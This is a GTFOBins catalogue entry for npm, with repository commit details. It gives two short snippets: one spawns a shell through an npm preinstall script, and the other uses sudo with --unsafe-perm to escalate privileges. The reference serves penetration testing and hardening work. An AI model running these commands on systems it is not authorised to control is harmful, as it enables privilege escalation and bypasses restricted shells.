GTFOBins.github.io/_gtfobins/npm.md
Andrea Cardaci 2ce5e831b7
Fix npm
2021-01-21 15:04:27 +01:00

14 lines
319 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm -C $TF i
sudo:
- code: |
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
---